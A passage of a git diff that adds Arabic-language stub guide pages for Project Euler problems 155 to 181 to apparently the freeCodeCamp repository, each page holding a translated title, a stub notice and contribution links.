+## المشكلة 155: عد الدوائر Capacitor
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-155-counting-capacitor-circuits/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-156-counting-digits/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-156-counting-digits/index.md
new file mode 100644
index 0000000000..a7e3b8c396
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-156-counting-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting Digits
+localeTitle: عد الاعداد
+---
+## المشكلة 156: عد الأرقام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-156-counting-digits/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-157-solving-the-diophantine-equation-1a1b-p10n/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-157-solving-the-diophantine-equation-1a1b-p10n/index.md
new file mode 100644
index 0000000000..2d45c2935c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-157-solving-the-diophantine-equation-1a1b-p10n/index.md
@@ -0,0 +1,9 @@
+---
+title: Solving the diophantine equation 1/a+1/b= p/10n
+localeTitle: حل المعادلة diophantine 1 / a + 1 / b = p / 10n
+---
+## المشكلة 157: حل المعادلة diophantine 1 / a + 1 / b = p / 10n
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-157-solving-the-diophantine-equation-1a1b-p10n/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-158-exploring-strings-for-which-only-one-character-comes-lexicographically-after-its-neighbour-to-the-left/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-158-exploring-strings-for-which-only-one-character-comes-lexicographically-after-its-neighbour-to-the-left/index.md
new file mode 100644
index 0000000000..ff09923ec9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-158-exploring-strings-for-which-only-one-character-comes-lexicographically-after-its-neighbour-to-the-left/index.md
@@ -0,0 +1,9 @@
+---
+title: Exploring strings for which only one character comes lexicographically after its neighbour to the left
+localeTitle: استكشاف الأوتار التي تأتي حرف واحد فقط معجمها بعد جارتها إلى اليسار
+---
+## المشكلة 158: استكشاف السلاسل التي حرف واحد فقط يأتي lexicographically بعد الجوار الخاص به إلى اليسار
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-158-exploring-strings-for-which-only-one-character-comes-lexicographically-after-its-neighbour-to-the-left/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-159-digital-root-sums-of-factorisations/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-159-digital-root-sums-of-factorisations/index.md
new file mode 100644
index 0000000000..61e2e2ed11
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-159-digital-root-sums-of-factorisations/index.md
@@ -0,0 +1,9 @@
+---
+title: Digital root sums of factorisations
+localeTitle: المجاميع الرقمية من العوامل
+---
+## المشكلة 159: مبالغ الجذر الرقمي من العوامل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-159-digital-root-sums-of-factorisations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-16-power-digit-sum/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-16-power-digit-sum/index.md
new file mode 100644
index 0000000000..398da8a23c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-16-power-digit-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Power digit sum
+localeTitle: مجموع أرقام الطاقة
+---
+## المشكلة 16: مجموع أرقام الطاقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-16-power-digit-sum/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-160-factorial-trailing-digits/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-160-factorial-trailing-digits/index.md
new file mode 100644
index 0000000000..34a768ed5e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-160-factorial-trailing-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorial trailing digits
+localeTitle: أرقام زائدة عكسي
+---
+## المشكلة 160: أرقام زائدة عاملية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-160-factorial-trailing-digits/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-161-triominoes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-161-triominoes/index.md
new file mode 100644
index 0000000000..9d1b9dfcad
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-161-triominoes/index.md
@@ -0,0 +1,9 @@
+---
+title: Triominoes
+localeTitle: Triominoes
+---
+## المشكلة 161: Triominoes
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-161-triominoes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-162-hexadecimal-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-162-hexadecimal-numbers/index.md
new file mode 100644
index 0000000000..d5eee04f64
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-162-hexadecimal-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Hexadecimal numbers
+localeTitle: الأرقام السداسية العشرية
+---
+## مشكلة 162: أرقام سداسية عشرية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-162-hexadecimal-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-163-cross-hatched-triangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-163-cross-hatched-triangles/index.md
new file mode 100644
index 0000000000..5e7108dafc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-163-cross-hatched-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Cross-hatched triangles
+localeTitle: مثلثات متقاطعة
+---
+## المشكلة 163: مثلثات متقاطعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-163-cross-hatched-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-164-numbers-for-which-no-three-consecutive-digits-have-a-sum-greater-than-a-given-value/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-164-numbers-for-which-no-three-consecutive-digits-have-a-sum-greater-than-a-given-value/index.md
new file mode 100644
index 0000000000..fde0200383
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-164-numbers-for-which-no-three-consecutive-digits-have-a-sum-greater-than-a-given-value/index.md
@@ -0,0 +1,9 @@
+---
+title: Numbers for which no three consecutive digits have a sum greater than a given value
+localeTitle: الأرقام التي لا تحتوي أرقامها الثلاثة المتتالية على قيمة أكبر من قيمة معينة
+---
+## المشكلة 164: الأرقام التي لا تحتوي ثلاثة أرقام متتالية على مجموع أكبر من قيمة معينة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-164-numbers-for-which-no-three-consecutive-digits-have-a-sum-greater-than-a-given-value/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-165-intersections/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-165-intersections/index.md
new file mode 100644
index 0000000000..99f6818a76
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-165-intersections/index.md
@@ -0,0 +1,9 @@
+---
+title: Intersections
+localeTitle: التقاطعات
+---
+## المشكلة 165: التقاطعات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-165-intersections/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-166-criss-cross/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-166-criss-cross/index.md
new file mode 100644
index 0000000000..bccd4c365a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-166-criss-cross/index.md
@@ -0,0 +1,9 @@
+---
+title: Criss Cross
+localeTitle: متقاطع
+---
+## مشكلة 166: كريسس كروس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-166-criss-cross/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-167-investigating-ulam-sequences/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-167-investigating-ulam-sequences/index.md
new file mode 100644
index 0000000000..c26bcf150c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-167-investigating-ulam-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating Ulam sequences
+localeTitle: التحقيق تسلسل Ulam
+---
+## المشكلة 167: التحقق من تسلسل Ulam
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-167-investigating-ulam-sequences/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-168-number-rotations/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-168-number-rotations/index.md
new file mode 100644
index 0000000000..771001a245
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-168-number-rotations/index.md
@@ -0,0 +1,9 @@
+---
+title: Number Rotations
+localeTitle: تناوب رقم
+---
+## المشكلة 168: تناوب رقم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-168-number-rotations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-169-exploring-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-169-exploring-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md
new file mode 100644
index 0000000000..ee49deb072
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-169-exploring-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md
@@ -0,0 +1,9 @@
+---
+title: Exploring the number of different ways a number can be expressed as a sum of powers of 2
+localeTitle: استكشاف عدد الطرق المختلفة التي يمكن التعبير عن الرقم بها كمجموع صلاحيات 2
+---
+## المشكلة 169: استكشاف عدد الطرق المختلفة التي يمكن التعبير عن الرقم بها كمجموع صلاحيات 2
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-169-exploring-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-17-number-letter-counts/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-17-number-letter-counts/index.md
new file mode 100644
index 0000000000..abbed36082
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-17-number-letter-counts/index.md
@@ -0,0 +1,9 @@
+---
+title: Number letter counts
+localeTitle: عدد رسائل عدد
+---
+## المشكلة 17: عدد الرسائل العدد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-17-number-letter-counts/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-170-find-the-largest-0-to-9-pandigital-that-can-be-formed-by-concatenating-products/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-170-find-the-largest-0-to-9-pandigital-that-can-be-formed-by-concatenating-products/index.md
new file mode 100644
index 0000000000..9199a7c5b3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-170-find-the-largest-0-to-9-pandigital-that-can-be-formed-by-concatenating-products/index.md
@@ -0,0 +1,9 @@
+---
+title: Find the largest 0 to 9 pandigital that can be formed by concatenating products
+localeTitle: العثور على أكبر pandigital 0 إلى 9 التي يمكن تشكيلها عن طريق سلسلة من المنتجات
+---
+## المشكلة 170: العثور على أكبر 0 إلى 9 pandigital التي يمكن تشكيلها عن طريق سلسلة من المنتجات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-170-find-the-largest-0-to-9-pandigital-that-can-be-formed-by-concatenating-products/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-171-finding-numbers-for-which-the-sum-of-the-squares-of-the-digits-is-a-square/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-171-finding-numbers-for-which-the-sum-of-the-squares-of-the-digits-is-a-square/index.md
new file mode 100644
index 0000000000..0a2a9b47a0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-171-finding-numbers-for-which-the-sum-of-the-squares-of-the-digits-is-a-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Finding numbers for which the sum of the squares of the digits is a square
+localeTitle: البحث عن الأرقام التي يكون مجموع مربعات الأرقام فيها مربعًا
+---
+## المشكلة 171: البحث عن الأرقام التي يكون مجموع مربعات الأرقام فيها مربعًا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-171-finding-numbers-for-which-the-sum-of-the-squares-of-the-digits-is-a-square/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-172-investigating-numbers-with-few-repeated-digits/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-172-investigating-numbers-with-few-repeated-digits/index.md
new file mode 100644
index 0000000000..ffceb3c23c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-172-investigating-numbers-with-few-repeated-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating numbers with few repeated digits
+localeTitle: التحقيق في الأرقام مع عدد قليل من الأرقام المتكررة
+---
+## المشكلة 172: التحقق من الأرقام مع بعض الأرقام المتكررة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-172-investigating-numbers-with-few-repeated-digits/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-173-using-up-to-one-million-tiles-how-many-different-hollow-square-laminae-can-be-formed/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-173-using-up-to-one-million-tiles-how-many-different-hollow-square-laminae-can-be-formed/index.md
new file mode 100644
index 0000000000..d772654944
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-173-using-up-to-one-million-tiles-how-many-different-hollow-square-laminae-can-be-formed/index.md
@@ -0,0 +1,9 @@
+---
+title: Using up to one million tiles how many different "hollow" square laminae can be formed?
+localeTitle: باستخدام ما يصل إلى مليون بلاط كيف يمكن تشكيل الصفيحة المربعة المختلفة "المجوفة"؟
+---
+## المشكلة 173: استخدام ما يصل إلى مليون بناء عدد الصفيح المربع "المجوف" الذي يمكن تشكيله؟
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-173-using-up-to-one-million-tiles-how-many-different-hollow-square-laminae-can-be-formed/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-174-counting-the-number-of-hollow-square-laminae-that-can-form-one-two-three-...-distinct-arrangements/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-174-counting-the-number-of-hollow-square-laminae-that-can-form-one-two-three-...-distinct-arrangements/index.md
new file mode 100644
index 0000000000..98b878b562
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-174-counting-the-number-of-hollow-square-laminae-that-can-form-one-two-three-...-distinct-arrangements/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting the number of "hollow" square laminae that can form one, two, three, ... distinct arrangements
+localeTitle: حساب عدد الصفيحة المربعة "المجوفة" التي يمكن أن تشكل واحدة أو اثنتين أو ثلاثة ... ترتيبات مميزة
+---
+## المشكلة 174: حساب عدد الصفيحة المربعة "المجوفة" التي يمكن أن تشكل واحدة أو اثنتين أو ثلاثة ...
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-174-counting-the-number-of-hollow-square-laminae-that-can-form-one-two-three-…-distinct-arrangements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-175-fractions-involving-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-175-fractions-involving-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md
new file mode 100644
index 0000000000..0d49e61a87
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-175-fractions-involving-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md
@@ -0,0 +1,9 @@
+---
+title: Fractions involving the number of different ways a number can be expressed as a sum of powers of 2
+localeTitle: الكسور التي تتضمن عددًا من الطرق المختلفة يمكن التعبير عن الرقم كمجموع صلاحيات 2
+---
+## المشكلة 175: الكسور التي تنطوي على عدد من الطرق المختلفة يمكن التعبير عن عدد كمجموع القوى 2
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-175-fractions-involving-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-176-right-angled-triangles-that-share-a-cathetus/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-176-right-angled-triangles-that-share-a-cathetus/index.md
new file mode 100644
index 0000000000..dcb1d12277
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-176-right-angled-triangles-that-share-a-cathetus/index.md
@@ -0,0 +1,9 @@
+---
+title: Right-angled triangles that share a cathetus
+localeTitle: المثلثات القائمة الزاوية التي تشترك في cathetus
+---
+## المشكلة 176: مثلثات قائمة الزاوية تشترك في cathetus
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-176-right-angled-triangles-that-share-a-cathetus/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-177-integer-angled-quadrilaterals/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-177-integer-angled-quadrilaterals/index.md
new file mode 100644
index 0000000000..3033b8d048
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-177-integer-angled-quadrilaterals/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer angled Quadrilaterals
+localeTitle: عدد صحيح من الزاوية الرباعية
+---
+## المشكلة 177: عدد صحيح بزاوية Quadrilaterals
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-177-integer-angled-quadrilaterals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-178-step-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-178-step-numbers/index.md
new file mode 100644
index 0000000000..2eb468ccee
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-178-step-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Step Numbers
+localeTitle: أرقام الخطوة
+---
+## مشكلة 178: أرقام الخطوة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-178-step-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-179-consecutive-positive-divisors/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-179-consecutive-positive-divisors/index.md
new file mode 100644
index 0000000000..0957712622
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-179-consecutive-positive-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Consecutive positive divisors
+localeTitle: القواسم الإيجابية الإيجابية
+---
+## المشكلة 179: المقسومات الإيجابية المتتالية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-179-consecutive-positive-divisors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-18-maximum-path-sum-i/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-18-maximum-path-sum-i/index.md
new file mode 100644
index 0000000000..a1eb656046
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-18-maximum-path-sum-i/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum path sum I
+localeTitle: الحد الأقصى لمبلغ المسير الأول
+---
+## المشكلة 18: أقصى مبلغ للمسار الأول
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-18-maximum-path-sum-i/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-180-rational-zeros-of-a-function-of-three-variables/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-180-rational-zeros-of-a-function-of-three-variables/index.md
new file mode 100644
index 0000000000..3145fe5c67
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-180-rational-zeros-of-a-function-of-three-variables/index.md
@@ -0,0 +1,9 @@
+---
+title: Rational zeros of a function of three variables
+localeTitle: الأصفار عقلانية لدالة من ثلاثة متغيرات
+---
+## المشكلة 180: الأصفار العاقلة لدالة من ثلاثة متغيرات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-180-rational-zeros-of-a-function-of-three-variables/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-181-investigating-in-how-many-ways-objects-of-two-different-colours-can-be-grouped/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-181-investigating-in-how-many-ways-objects-of-two-different-colours-can-be-grouped/index.md
new file mode 100644
index 0000000000..8374b72996
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-181-investigating-in-how-many-ways-objects-of-two-different-colours-can-be-grouped/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating in how many ways objects of two different colours can be grouped
+localeTitle: التحقيق في عدد الطرق التي يمكن بها تجميع كائنات من لونين مختلفين
+---
+## المشكلة 181: التحقيق في عدد الطرق التي يمكن تجميع كائنات من لونين مختلفين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-181-investigating-in-how-many-ways-objects-of-two-different-colours-can-be-grouped/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-182-rsa-encryption/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-182-rsa-encryption/index.md
new file mode 100644
index 0000000000..13ca97c72d
--- /dev/null
